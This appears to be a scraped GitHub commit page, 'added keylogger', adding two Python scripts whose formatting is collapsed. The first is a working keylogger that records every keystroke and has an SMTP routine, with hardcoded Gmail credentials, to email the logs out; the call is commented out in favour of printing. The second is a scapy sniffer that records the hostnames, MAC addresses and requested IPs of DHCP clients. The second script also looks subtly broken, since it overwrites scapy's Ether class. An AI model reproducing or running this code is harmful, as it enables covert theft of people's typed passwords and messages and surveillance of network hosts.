Skip to content

Commit 885651f

Browse files
committed
added keylogger
1 parent 6dd34bb commit 885651f

File tree

2 files changed

+137
-0
lines changed

2 files changed

+137
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
importkeyboard# for keylogs
2+
importsmtplib# for sending email using SMTP protocol (gmail)
3+
# Semaphore is for blocking the current thread
4+
# Timer is to make a method runs after an `interval` amount of time
5+
fromthreadingimportSemaphore, Timer
6+
7+
SEND_REPORT_EVERY=600# 10 minutes
8+
EMAIL_ADDRESS="[email protected]"
9+
EMAIL_PASSWORD="thepythoncodeokok123"
10+
11+
classKeylogger:
12+
def__init__(self, interval):
13+
# we gonna pass SEND_REPORT_EVERY to interval
14+
self.interval=interval
15+
# this is the string variable that contains the log of all
16+
# the keystrokes within `self.interval`
17+
self.log=""
18+
# for blocking after setting the on_release listener
19+
self.semaphore=Semaphore(0)
20+
21+
defcallback(self, event):
22+
"""
23+
This callback is invoked whenever a keyboard event is occured
24+
(i.e when a key is released in this example)
25+
"""
26+
name=event.name
27+
iflen(name) >1:
28+
# not a character, special key (e.g ctrl, alt, etc.)
29+
# uppercase with []
30+
ifname=="space":
31+
# " " instead of "space"
32+
name=" "
33+
elifname=="enter":
34+
# add a new line whenever an ENTER is pressed
35+
name="[ENTER]\n"
36+
elifname=="decimal":
37+
name="."
38+
else:
39+
# replace spaces with underscores
40+
name=name.replace(" ", "_")
41+
name=f"[{name.upper()}]"
42+
43+
self.log+=name
44+
45+
defsendmail(self, email, password, message):
46+
# manages a connection to an SMTP server
47+
server=smtplib.SMTP(host="smtp.gmail.com", port=587)
48+
# connect to the SMTP server as TLS mode ( for security )
49+
server.starttls()
50+
# login to the email account
51+
server.login(email, password)
52+
# send the actual message
53+
server.sendmail(email, email, message)
54+
# terminates the session
55+
server.quit()
56+
57+
defreport(self):
58+
"""
59+
This function gets called every `self.interval`
60+
It basically sends keylogs and resets `self.log` variable
61+
"""
62+
ifself.log:
63+
# if there is something in log, report it
64+
# self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
65+
print(self.log)
66+
self.log=""
67+
Timer(interval=self.interval, function=self.report).start()
68+
69+
defstart(self):
70+
# start the keylogger
71+
keyboard.on_release(callback=self.callback)
72+
# start reporting the keylogs
73+
self.report()
74+
# block the current thread,
75+
# since on_release() doesn't block the current thread
76+
# if we don't block it, when we execute the program, nothing will happen
77+
# that is because on_release() will start the listener in a separate thread
78+
self.semaphore.acquire()
79+
80+
81+
82+
if__name__=="__main__":
83+
keylogger=Keylogger(interval=SEND_REPORT_EVERY)
84+
keylogger.start()
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
fromscapy.allimport*
2+
fromscapy.layers.dhcpimportDHCP
3+
importtime
4+
#
5+
#
6+
#
7+
#
8+
#
9+
#
10+
#
11+
#
12+
#
13+
#
14+
#
15+
#
16+
#
17+
#
18+
#
19+
20+
hosts= []
21+
Ether=1
22+
23+
24+
deflisten_dhcp():
25+
globalk
26+
# Make sure it is DHCP with the filter options
27+
k=sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
28+
29+
defprint_packet(packet):
30+
target_mac, requested_ip, hostname, vendor_id= [None] *4
31+
ifpacket.haslayer(Ether):
32+
target_mac=packet.getlayer(Ether).src
33+
dhcp_options=packet[DHCP].options
34+
foritemindhcp_options:
35+
try:
36+
label, value=item
37+
exceptValueError:
38+
continue
39+
iflabel=='requested_addr':
40+
requested_ip=value
41+
eliflabel=='hostname':
42+
hostname=value.decode()
43+
eliflabel=='vendor_class_id':
44+
vendor_id=value.decode()
45+
iftarget_macandvendor_idandhostnameandrequested_ipandtarget_macnotinhosts:
46+
hosts.append(target_mac)
47+
time_now=time.strftime("[%Y-%m-%d - %H:%M:%S] ")
48+
print("{}:{} -{} /{} requested{}".format(time_now, target_mac, hostname, vendor_id, requested_ip))
49+
50+
51+
if__name__=="__main__":
52+
listen_dhcp()
53+

0 commit comments

Comments
(0)